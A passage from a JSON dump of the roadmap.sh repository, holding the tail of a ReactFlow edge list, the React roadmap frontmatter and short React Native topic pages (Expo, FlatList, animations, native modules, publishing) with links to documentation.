\"#2b78e4\"\n      },\n      \"source\": \"e_lwZ-a72-tAan2KDX6k3\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zN7Ps1puD-YpHbKi1pHH8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-nK1DhEXBKVhvSR1P_vzgjx2-zN7Ps1puD-YpHbKi1pHH8w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W-atg_Msa9uPLr6RXAKSb\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"HdWq9ue0JdwmwqSIN2OD_\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-nK1DhEXBKVhvSR1P_vzgjw2-HdWq9ue0JdwmwqSIN2OD_x1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"e_lwZ-a72-tAan2KDX6k3\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"W-atg_Msa9uPLr6RXAKSb\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-e_lwZ-a72-tAan2KDX6k3z2-nK1DhEXBKVhvSR1P_vzgjy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"W-atg_Msa9uPLr6RXAKSb\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KHcC5pFN3qLnsbPPKpYd2\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-W-atg_Msa9uPLr6RXAKSbx2-nK1DhEXBKVhvSR1P_vzgjw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KHcC5pFN3qLnsbPPKpYd2\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_5ht0PAdVOJWPzTRS1mVg\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-nK1DhEXBKVhvSR1P_vzgjx2-_5ht0PAdVOJWPzTRS1mVgw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KHcC5pFN3qLnsbPPKpYd2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"UNlvRp6k3_RDoTAAIEfJ1\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KHcC5pFN3qLnsbPPKpYd2y2-nK1DhEXBKVhvSR1P_vzgjz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UNlvRp6k3_RDoTAAIEfJ1\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"K3RZ8ESxWCpLKHePF87Hy\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-nK1DhEXBKVhvSR1P_vzgjw2-K3RZ8ESxWCpLKHePF87Hyx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UNlvRp6k3_RDoTAAIEfJ1\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ydxyne6RzIDPHij1Z3CsN\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-UNlvRp6k3_RDoTAAIEfJ1y2-ydxyne6RzIDPHij1Z3CsNz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ydxyne6RzIDPHij1Z3CsN\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"bRpeoo9zXrnZ2IHSI7JX4\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ydxyne6RzIDPHij1Z3CsNy2-bRpeoo9zXrnZ2IHSI7JX4w1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bRpeoo9zXrnZ2IHSI7JX4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"H6-XGDjs4f-qbv13v5av0\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bRpeoo9zXrnZ2IHSI7JX4x2-H6-XGDjs4f-qbv13v5av0w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bRpeoo9zXrnZ2IHSI7JX4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gMHMjsh0i8paLZUH5mDX3\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-bRpeoo9zXrnZ2IHSI7JX4z2-gMHMjsh0i8paLZUH5mDX3y1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DcDggX4OmmwvJGHwuV86t\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"txARr3lgTvy-vJCj5zAb1\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DcDggX4OmmwvJGHwuV86tz2-txARr3lgTvy-vJCj5zAb1y1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"txARr3lgTvy-vJCj5zAb1\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"NvXAq1vN2wpncdW-yTL4c\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-txARr3lgTvy-vJCj5zAb1w2-NvXAq1vN2wpncdW-yTL4cx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"txARr3lgTvy-vJCj5zAb1\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-txARr3lgTvy-vJCj5zAb1x2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/react/react.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/react.json'\npdfUrl: '/pdfs/roadmaps/react.pdf'\nrenderer: 'editor'\norder: 2\nbriefTitle: 'React'\nbriefDescription: 'Step by step guide to become a React Developer in 2025'\ntitle: 'React Developer'\ndescription: 'Everything that is there to learn about React and the ecosystem in 2025.'\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2140\nschema:\n  headline: 'React Developer Roadmap'\n  description: 'Learn to become a React developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/react.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'React Developer Roadmap: Learn to become a React developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for react development. Learn to become a modern React developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'react roadmap 2024'\n    - 'react roadmap 2025'\n    - 'react developer roadmap 2024'\n    - 'react developer roadmap 2025'\n    - 'react.js roadmap 2025'\n    - 'react.js developer roadmap 2025'\n    - 'guide to becoming a react developer'\n    - 'react developer roadmap'\n    - 'react roadmap'\n    - 'become react developer'\n    - 'react developer skills'\n    - 'react skills test'\n    - 'skills for react development'\n    - 'learn react development'\n    - 'what is react'\n    - 'react library roadmap'\n    - 'react quiz'\n    - 'react quiz 2025'\n    - 'react interview questions'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'typescript'\n  - 'javascript'\n  - 'angular'\n  - 'vue'\n  - 'nodejs'\nrelatedQuestions:\n  - 'react'\n  - 'javascript'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/react-native/content/accessibility@KoXTwQUqPt_ZhOFuaelny.md",
    "content": "# Accessibility\n\nAccessibility (often abbreviated as a11y) in React Native is a crucial aspect of application development that ensures your applications are usable by everyone, including individuals with disabilities. This commitment to inclusivity is not just a legal requirement in many jurisdictions but also a moral imperative that enhances the user experience for all. React Native provides a comprehensive set of accessibility features, attributes, and APIs that allow developers to create applications that cater to diverse user needs. By implementing these features, developers can ensure that their applications are navigable and usable by individuals with visual, auditory, motor, or cognitive impairments.\n\nVisit the following resources to learn more:\n\n- [@official@Accessibility](https://reactnative.dev/docs/accessibility)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/activityindicator@hHFR59RrdMIWxcQe72qCs.md",
    "content": "# Activity Indicator\n\nThe `ActivityIndicator` is a core component in React Native that provides a simple visual indication of some ongoing activity or loading state within your application. It shows a spinning animation, which gives the user feedback that something is happening in the background. This component is particularly useful when fetching data from an external source, like a server, or while performing time-consuming operations.\n\nVisit the following resources to learn more:\n\n- [@official@Activity Indicator](https://reactnative.dev/docs/activityindicator)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/animations@3NLcPO-hqQV1EacoPLVrv.md",
    "content": "# Animations\n\nReact Native supports two types of animations: `Animated` and `LayoutAnimation`. The `Animated` API provides a basic set of methods for creating and managing animations, while the `LayoutAnimation` API provides a way to animate changes from one layout to another.\n\n`Animated` is a declarative API that focuses on handling animation-related calculations. It allows you to create and combine animations with fine-grained control over the specific properties that are being animated. You can use this API to create a variety of effects, such as fading, scaling, and translating components on the screen.\n\n`LayoutAnimation` is a higher-level abstraction for animating changes to the layout. Instead of animating individual properties, you define how the changes should occur and React Native takes care of updating the layout accordingly. This is particularly useful for animating multiple components or modifying the layout in response to user interaction, such as adding/removing/reordering items in a list.\n\nVisit the following resources to learn more:\n\n- [@official@Animations](https://reactnative.dev/docs/animations)\n- [@official@LayoutAnimations](https://reactnative.dev/docs/layoutanimation)\n- [@official@Animated](https://reactnative.dev/docs/animated)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/appium@spTzJMS7cE0cNa7tVQhVQ.md",
    "content": "# Appium\n\nAppium is an open-source test automation framework for mobile devices, targeting native, hybrid, or mobile-web apps for iOS, Android, and Windows platforms. Appium works with multiple programming languages, including JavaScript, Ruby, Python, Java, and C#. Appium uses the WebDriver protocol, which allows you to write tests that can interact with your app through a series of commands. The WebDriver protocol interprets these commands into actions that are then performed on the app.\n\nVisit the following resources to learn more:\n\n- [@official@Appium Documentation](https://appium.io/docs/en/latest/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/apple-app-store@1s9Y1dUtjpW9pu74ipX99.md",
    "content": "# Publishing Apps in App Store\n\nThe App Store is Apple's official platform for distributing iOS apps to users with iPhones, iPads, and iPod Touch devices. To publish an app on the App Store, you need to follow specific guidelines and use the necessary tools provided by Apple.\n\nVisit the following resources to learn more:\n\n- [@official@Publishing to Apple App Store](https://reactnative.dev/docs/publishing-to-app-store)\n- [@feed@Explore top posts about App Store](https://app.daily.dev/tags/app-store?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/authentication@LRBHwYiT0Yyi18PwR49rc.md",
    "content": "# Authentication\n\nAuthentication is a crucial aspect of securing your React Native application. It enables you to verify the identity of users and give access to protected resources and features. Here are the common methods used for authentication in React Native:\n\n*   JWT Authentication\n*   OAuth\n*   Simple Token Authentication\n\nVisit the following resources to learn more:\n\n- [@official@Authentication and Deep Linking](https://reactnative.dev/docs/security#authentication-and-deep-linking)\n- [@feed@Explore top posts about Authentication](https://app.daily.dev/tags/authentication?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/button@kkH9H9Qh1FD7sLItoWw69.md",
    "content": "# Button\n\nA `Button` is a built-in React Native component used to create clickable buttons. It is a simple, customizable and easy-to-use component that captures touches and triggers an `onPress` event when pressed.\n\nVisit the following resources to learn more:\n\n- [@official@Button](https://reactnative.dev/docs/button)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/common-problem-sources@afwB90L-q2hIwrA0LtWbG.md",
    "content": "# Common Problem Sources\n\nIn React Native, several common issues can impact application performance. Excessive console logs can slow down the app, particularly in debug mode, so it's advisable to minimize their use and remove unnecessary logs before release. Heavy and unoptimized images can also cause performance problems; therefore, it's important to optimize image size and resolution and use the `resizeMode` prop on the `Image` component for better rendering. Additionally, inline functions and styles can lead to unnecessary re-renders, so defining them outside the component's render method is recommended. While using `React.PureComponent` or `React.memo()` can enhance performance, they should be applied judiciously to avoid unnecessary re-renders. For handling large lists, replacing `ListView` with `FlatList` or `SectionList` is crucial for better performance. Lastly, blocking the JavaScript thread with heavy synchronous computations can degrade performance, so it's essential to handle such tasks asynchronously or offload them to native modules. Following these guidelines can help maintain optimal performance in React Native applications.\n\nVisit the following resources to learn more:\n\n- [@official@Performance Problems](https://reactnative.dev/docs/performance#common-sources-of-performance-problems)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/components@k9_hVOBd9ZmC4HLuAf46v.md",
    "content": "# Components\n\nReact components are the building blocks of the user interface (UI) in a React application. They are used to break down the UI into reusable, isolated, and manageable pieces. Components handle rendering the UI and managing the logic and behavior.\n\nVisit the following resources to learn more:\n\n- [@official@Components](https://react.dev/learn/your-first-component)\n- [@official@Props](https://react.dev/learn/passing-props-to-a-component)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/connectivity-status@k7uVPyhbPgvO6HxAfxxYZ.md",
    "content": "# Connectivity Status\n\nConnectivity refers to the mechanisms that allow data transfer between your React Native app and external resources through various means of communication. It is essential to ensure efficient communication with APIs, servers, and external systems, to update your app's data, fetching content or enabling real-time interactions.\n\nVisit the following resources to learn more:\n\n- [@article@Managing network connection status in React Native](https://blog.logrocket.com/managing-network-connection-status-in-react-native/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/core-components@fnujIq6QAFB6bmTisuZ3T.md",
    "content": "# Core Components\n\nCore components are the essential building blocks provided by React Native to create a user interface for mobile applications. They are platform-agnostic, meaning they work across both iOS and Android devices. Some of the common core components include:\n\n*   `View` is a fundamental component for constructing the user interface. It is equivalent to a `div` in HTML and can be used as a container for other components.\n*   `Text` is used to display text content in your app. It is similar to the `p` or `span` elements in HTML.\n*   `TextInput` is a basic input field that allows users to type text into your app. It is similar to the `input` element in HTML.\n*   `TouchableOpacity` is a wrapper for making elements like `View` and `Text` respond properly to touch events. It provides feedback by reducing the opacity of the wrapped component when pressed.\n*   `ScrollView` is a scrollable container that allows users to scroll through its content. It is useful when you have content that exceeds the available screen size.\n*   `FlatList` is used to render a list of items using a performant approach. It only renders items that are currently visible on the screen and removes others to save memory.\n\nVisit the following resources to learn more:\n\n- [@official@Core Components and APIs](https://reactnative.dev/docs/components-and-apis)\n- [@official@Core Components and Native Components](https://reactnative.dev/docs/intro-react-native-components)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/create-expo-app@uLH9eo2G09wGO80XtFI5x.md",
    "content": "# Create Expo App\n\n`create-expo-app` is a command line tool that generates a React Native project that works out of the box with Expo. It is the easiest way to get started building a new React Native application.\n\nVisit the following resources to learn more:\n\n- [@official@Create Expo App](https://docs.expo.dev/tutorial/create-your-first-app/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/css-basics@SnF3xtzBh-x4Z_qUQUg7H.md",
    "content": "# CSS Basics\n\nCSS is a stylesheet language used for describing the look and formatting of a document written in HTML or XML. It is primarily used for styling web pages and user interfaces written in HTML and XHTML. React native uses CSS to style its components. You can learn some CSS basics to get started with React Native and learn more as you go.\n\nVisit the following resources to learn more:\n\n- [@official@CSS - W3.org](https://www.w3.org/Style/CSS/Overview.en.html)\n- [@official@CSS - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/deeplinking@dckRzKDKj-mLB3-OxwjPh.md",
    "content": "# Deep Linking\n\nDeep linking in React Native allows your app to open and navigate to a specific screen or content when a user clicks on a URL or a custom URI scheme. It essentially creates a direct pathway into a particular section of your application, bypassing the typical app launch sequence and providing a more seamless user experience. This is useful for scenarios like opening a product page from a marketing email or directing users to a specific profile from a shared link.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding deep linking in React Native](https://blog.logrocket.com/understanding-deep-linking-in-react-native/)\n- [@article@Deep Linking in React Native: Navigating to Specific App Screens](https://clouddevs.com/react-native/deep-linking/)\n- [@article@A Complete Guide to Deep Linking with Custom domain in React Native](https://dev.to/amitkumar13/a-complete-guide-to-deep-linking-with-custom-domain-in-react-native-bj3)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/detox@3m7ANLJvtx3zie4y86MNU.md",
    "content": "# Detox\n\nDetox is an end-to-end testing framework for React Native applications. It enables you to run tests on an actual device or in a simulator/emulator environment. The goal of Detox is to maintain a high level of confidence in your application's behavior while allowing for quick test runs and easy debugging.\n\nVisit the following resources to learn more:\n\n- [@official@Detox Documentation](https://wix.github.io/Detox/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/development-workflow@T4AhL9Zls2iNZMituGdtl.md",
    "content": "# Development Workflow\n\nReact native has a decent guide on how to get started with development workflow.\n\nVisit the following resources to learn more:\n\n- [@official@Running on Device](https://reactnative.dev/docs/running-on-device)\n- [@article@Continuous Integration and Deployment for React Native Apps](https://dev.to/medaimane/continuous-integration-and-deployment-for-react-native-apps-streamlining-development-workflow-4i04)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/devtools@HHx3VSfV7xf6RqACrxjBf.md",
    "content": "# DevTools\n\nReact Native DevTools are essential tools that help developers debug and optimize their applications during the development process.\n\nVisit the following resources to learn more:\n\n- [@official@Devtools](https://reactnative.dev/docs/react-devtools)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/enabling-fast-refresh@wWwaEdnvBsvj6jD9LJ4Jj.md",
    "content": "# Enabling Fast Refresh\n\nFast Refresh is a React Native feature that allows you to get near-instant feedback while making changes in your code. It achieves this by reloading only the portion of the app that was changed, without losing the current state. This makes the development process a lot smoother as you don't have to wait for the entire app to rebuild after making a change.\n\nVisit the following resources to learn more:\n\n- [@official@Fast Refresh](https://reactnative.dev/docs/fast-refresh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/environment-setup@lNmddXrT8IHVtWobh3-oq.md",
    "content": "# Environment Setup\n\nIn React Native, setting up the development environment is a crucial step. The environment setup process includes installing and configuring various tools and packages required for developing, building, and launching a React Native application. There are two main approaches when setting up your React Native development environment:\n\nExpo CLI\n--------\n\nExpo CLI is a command-line tool built for creating and managing React Native projects easily. It streamlines your development process by providing an entire development environment, including building and deploying your app to both iOS and Android platforms.\n\nReact Native CLI\n----------------\n\nReact Native CLI is the official command-line interface for building native mobile apps using React Native. This method requires you to manually set up the native development environment and tools needed for iOS and Android app development.\n\nVisit the following resources to learn more:\n\n- [@official@React Native CLI](https://reactnative.dev/docs/environment-setup?guide=native)\n- [@official@Expo CLI Quickstart](https://docs.expo.dev/get-started/create-a-project)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/expo-file-system@9pvrXH5Drdsa1cr93UBdc.md",
    "content": "# Expo File System\n\nExpo File System is a universal module that provides access to the file system on the device. Using this module, you can perform various file operations like reading, writing, copying, moving, and deleting files and folders. It also supports reading file metadata and querying file URI.\n\nVisit the following resources to learn more:\n\n- [@official@Expo File System](https://docs.expo.dev/versions/latest/sdk/filesystem/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/expo-secure-store@JgBfwmOgcVi_a96L5NGwr.md",
    "content": "# expo-secure-store\n\nExpo Secure Store is a built-in package provided by the Expo SDK to store encrypted data securely on users' devices. It is a key-value storage system, but it is not designed to store larger amounts of data such as app databases or complex data structures. It is most appropriate for storing secret keys, access tokens, and small user preferences.\n\nVisit the following resources to learn more:\n\n- [@official@secure-store](https://docs.expo.dev/versions/latest/sdk/securestore/)\n- [@opensource@expo-secure-store package](https://www.npmjs.com/package/expo-secure-store?activeTab=readme)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/expo-snack@9eOwhh2k59nvH-ztuDNjg.md",
    "content": "# Expo Snack\n\nExpo Snack is an online playground and development environment for creating and testing React Native projects. With Snack, you can easily edit and preview your code changes directly in your browser or on a mobile device using the Expo Go app. It offers a fast, easy, and convenient way to develop, test, and share your projects without needing to set up a local development environment.\n\nVisit the following resources to learn more:\n\n- [@official@Expo Snack](https://snack.expo.dev/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/expo-sqlite@oK8z23a_CjcDjBJ843_Jn.md",
    "content": "# expo-sqlite\n\nExpo SQLite is a powerful tool for handling local SQLite databases in your React Native application. By using this API, you can create, read, update, and delete data as needed, without writing native code. Expo SQLite is available as part of the expo-sqlite package, which provides an easy-to-use interface for SQLite functionalities.\n\nWith Expo SQLite, you can efficiently manage SQLite databases within your React Native applications. It enables you to perform various database operations without the need for writing native code.\n\nVisit the following resources to learn more:\n\n- [@official@expo-sqlite](https://docs.expo.dev/versions/latest/sdk/sqlite/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/expo-tradeoffs@zzOyoDcAQYkNNv07TIKeZ.md",
    "content": "# Expo Tradeoffs\n\nExpo is a powerful tool that simplifies the React Native development process, but it has some tradeoffs to consider. One limitation is the availability of native modules; while Expo provides a set of pre-built modules, it may not cover all functionalities needed for specific apps, requiring developers to eject from the managed workflow for custom solutions. Performance can also be an issue, as the additional layer Expo adds may lead to slower apps, especially for larger projects, whereas the bare workflow offers more control and potentially better performance. Additionally, Expo apps tend to have a larger size due to the inclusion of the entire Expo SDK, which can be inefficient compared to non-Expo apps that only include necessary modules. Developers relying on Expo must also wait for their release cycle for updates, which can delay access to new React Native features or bug fixes. Ejecting from Expo can present challenges, as it may require significant code adjustments and dependency migrations. Lastly, Expo's abstraction limits customizability, meaning that for advanced customizations, developers may need to switch to a bare workflow. Overall, while Expo provides great tooling and simplifies development, its limitations should be carefully weighed before choosing it for app development.\n\nVisit the following resources to learn more:\n\n- [@article@Should you use Expo or Bare React Native?](https://medium.com/@andrew.chester/should-you-use-expo-or-bare-react-native-8dd400f4a468/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/expo@yW7nDDJbjmm8XKJI0hq3Q.md",
    "content": "# Expo\n\nExpo is an open-source framework and platform built around React Native, designed to streamline the development process for cross-platform mobile applications. It provides a managed workflow that includes a comprehensive set of tools, APIs, and services for building, testing, and deploying apps for iOS, Android, and web—all using JavaScript or TypeScript.\n\nExpo simplifies mobile development by handling much of the native configuration behind the scenes. Developers can use the **Expo Go** app to preview and test their projects instantly on real devices, while the **Expo CLI** offers powerful commands for creating, running, and managing apps. The **Expo SDK** provides prebuilt modules for features like camera access, push notifications, geolocation, and more, allowing you to focus on app logic rather than native integrations. For production workflows, **EAS (Expo Application Services)** supports custom builds, over-the-air updates, and app store submissions.\n\nVisit the following resources to learn more:\n\n- [@official@Expo Documentation](https://docs.expo.dev/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/fetch@f7KFPFS2-EA90pumYHM9T.md",
    "content": "# Fetch\n\n_Fetch_ is a JavaScript function available in React Native that is used to make network requests, similar to XMLHttpRequest in web applications. It allows you to handle requests and retrieve data from APIs or other sources. The Fetch API is built on Promises, making it simple to handle success and error cases.\n\nVisit the following resources to learn more:\n\n- [@article@Managing network connection status in React Native](https://blog.logrocket.com/managing-network-connection-status-in-react-native/)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/file-extensions@LLANnVosxOUCPTtuBfNgu.md",
    "content": "# File Extensions\n\nIn React Native, you can write platform-specific code by using specific file extensions, such as appending `.android.` or `.ios.` to your file names, allowing React Native to automatically load the appropriate file based on the platform. This approach is useful in two main scenarios: creating separate files for platform-specific components, like `Header.ios.js` and `Header.android.js`, which can have different implementations and styles for iOS and Android, and using the `Platform` module within a single file to conditionally render platform-specific code. By leveraging these techniques, developers can create tailored components and features for each platform while keeping their codebase organized and maintainable.\n\nVisit the following resources to learn more:\n\n- [@official@Platform-Specific Code](https://reactnative.dev/docs/platform-specific-code)\n- [@official@App Extensions](https://reactnative.dev/docs/app-extensions)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/flatlist@CYqLNGyOe9f9hVhbyUnTX.md",
    "content": "# FlatList\n\n`FlatList` is a `React Native` core component that displays a scrolling list of changing, but similarly structured, data. It is an efficient list component that makes use of a limited scrolling `renderWindow`, reducing the memory footprint and creating smooth scrolling. Additionally, `FlatList` supports-Headers, Footers, Pull-to-refresh, and Horizontal scrolling, among other things.\n\nVisit the following resources to learn more:\n\n- [@official@FlatList](https://reactnative.dev/docs/flatlist)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/for-android@wMxTB8WgU6e-oYMtQFCDY.md",
    "content": "# For Android\n\nNative modules in React Native provide a powerful way to access device-specific features and capabilities that are not available through the standard React Native APIs. For example, a Bluetooth module can be created using the Android Bluetooth API, allowing applications to scan for nearby Bluetooth devices, connect to them, and transfer data.\n\nVisit the following resources to learn more:\n\n- [@official@Android Native Modules](https://reactnative.dev/docs/legacy/native-modules-android)\n- [@feed@Explore top posts about Android](https://app.daily.dev/tags/android?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/for-ios@b-1-JcwLSGMyH3gXS59lY.md",
    "content": "# For iOS\n\niOS native modules in React Native allow developers to tap into the rich ecosystem of iOS features and functionalities that are not directly accessible through the standard React Native APIs. For instance, a Camera module can be implemented using the AVFoundation framework, enabling developers to capture photos and videos directly from their applications.\n\nVisit the following resources to learn more:\n\n- [@official@iOS Native Modules](https://reactnative.dev/docs/legacy/native-modules-ios)\n- [@feed@Explore top posts about iOS](https://app.daily.dev/tags/ios?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/gesture-handling@xf7L5J42yQq3LE7lG2plp.md",
    "content": "# Gesture Responder System\n\nGesture handling is an essential and powerful feature in React Native that helps create interactive and responsive user interfaces. React Native provides several built-in components and libraries to recognize and respond to different types of user gestures. Some of the common gestures include tapping, swiping, dragging, and pinching.\n\nVisit the following resources to learn more:\n\n- [@official@Animations](https://reactnative.dev/docs/animations)\n- [@official@LayoutAnimations](https://reactnative.dev/docs/layoutanimation)\n- [@official@Animated](https://reactnative.dev/docs/animated)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/google-play-store@D8T9cZ5zKi_KZDr9tDpCf.md",
    "content": "# Publishing React Native Apps on Google Store\n\nPublishing your React Native app on Google Store consists of several steps.\n\nVisit the following resources to learn more:\n\n- [@official@Publishing to Google Play Store](https://reactnative.dev/docs/signed-apk-android)\n- [@feed@Explore top posts about Google](https://app.daily.dev/tags/google?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react-native/content/image@E7N8tSg2amZW-vc-X46JU.md",
